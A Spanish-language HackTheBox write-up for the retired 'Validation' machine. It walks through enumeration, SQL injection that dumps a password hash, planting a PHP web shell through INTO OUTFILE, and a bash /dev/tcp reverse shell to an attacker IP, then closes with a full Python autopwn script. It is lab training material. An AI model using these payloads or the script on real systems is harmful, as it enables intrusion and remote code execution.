HackTheBox - Validation WriteUp - Máquina retirada
Comenzamos encendiendo la maquina Validation y obtenemos la dirección IP 10.129.95.235 y para identificar a que sistema operativo nos estamos enfrentando en base al TLL
![[HTB/Machines/Validation/Images/1.png]] Y vemos que tenemos un TLL de 63 por tanto estamos frente una maquina Linux
Enumeración
Comenzamos enumerando la maquina identificando los puertos que estén abiertos nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn y exportamos la captura
Y vemos que tenemos los puertos abiertos 22 80 4566 8080, con estos puertos procedemos a hacer un escaneo exhaustivo para identificar la version y servicio y corren para cada uno de estos puertos
Vemos un puerto 80 con el servicio http (una pagina web) la cual enumeraremos con whatweb
Probamos a hacer algo de fuzzing con un diccionario de mil y pico rutas que nos trae nmap --script http-enum
A pesar de encontrar una ruta /accounts.php, iremos primero a la web
Vemos que podemos registrar usuarios en la pagina web y que el texto que pongamos en username se ve reflejado en la web, y las tecnologías que tiene la web vemos que tiene php
Y accediendo a /account.php con nuestro input malicioso en username:
alert("XSS")
La pagina es vulnerable a XSS, pero viendo que podemos listar diferentes tipos de usuarios seleccionando el país probamos a realizar una inyección SQL filtrando todo el trafico en el proxy de BurpSuite
Hacemos el SQLI hasta que encontramos información relevante
A pesar de encontrar columnas interesantes no hay nada
Encontramos lo que parece ser un usuario uhc
uhc:*C6A38A5736CBA87E617301ECAB64184671128718
Suponiendo que nos encontramos en el directorio /var/www/html y que podemos abusar del SQL mediante el SQLi probamos a subir un prueba.txt
select "prueba" into outfile "/var/www/html/prueba.txt"-- -
Y accediendo de la URL vemos el contenido del archivo prueba.txt
Siguiendo este principio probamos a subir una reverse shell con php
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>
Intentando acceder a nuestra reverse subiéndola aprovechándonos del SQLi
select "<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>" into outfile "/var/www/html/reverse.php"-- -
Vemos que se ha creado la reverse shell y que la pagina web nos interpreta nuestro código malicioso
Probamos a ejecutar whoami y perfecto
Por consecuencia tratamos de entablarnos una conexión remota con bash
bash -c "bash -i %26> /dev/tcp/10.10.16.42/443 0>%261"
Y estando en escucha recibimos la reverse shell, seguido hacemos un tratamiento de la TTY
Revisando un poco los archivos de configuración vemos una credencial y volvemos a ver el usuario uhc
Probamos a conectarnos como el usuario uhc pero vemos que en el directorio /home/ este usuario no existe, haciendo un hostname -I vemos que estamos en un contenedor
Probamos a conectarnos por ssh y reutilizando la credencial del usuario uhc habremos completado la maquina
De paso quiero compartir un script autopwn en python para acceder al www-data
#!/usr/bin/env python3
# Autor: Juan García aka liandd
import sys
import signal
from termcolor import colored
import requests
import argparse
import threading
from pwn import *
# Ctrl_C
def def_handler(sig, frame):
print(colored("\n[!] Saliendo...\n", "red"))
sys.exit(1)
# Ctrl_C
signal.signal(signal.SIGINT, def_handler)
def get_arguments():
parser = argparse.ArgumentParser(
description=colored("AutoPwn Validation", "red")+colored(" HTB", "green")+" by "+colored("liandd", "red"))
parser.add_argument('-u', '--url', dest="URL",
help="Machine URL to Pwn (i.e --url http://10.129.95.235)")
parser.add_argument('-i', '--ip', dest="IP",
help="IP address to get shell (i.e --IP 10.10.16.42)")
parser.add_argument('-p', '--port', dest="PORT",
help="PORT to get shell (i.e --port 443)")
options = parser.parse_args()
if options.URL is None or options.IP is None or options.PORT is None:
parser.print_help()
print("\n\n")
sys.exit(1)
return options.URL, options.IP, options.PORT
def upload_file(URL):
data = {'username': 'blyat',
'country': """Uruguay' union select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php"-- -"""}
r = requests.post(URL, data=data)
def intrusion(URL, IP, PORT):
data = {
'cmd': "/bin/bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1' " % (IP, PORT)}
r = requests.get(URL + "/shell.php", params=data)
def main():
URL, IP, PORT = get_arguments()
upload_file(URL)
try:
threading.Thread(target=intrusion, args=(URL, IP, PORT)).start()
except Exception as e:
print(colored(e, "red"))
shell = listen(PORT, timeout=20).wait_for_connection()
shell.interactive()
if __name__ == '__main__':
main()
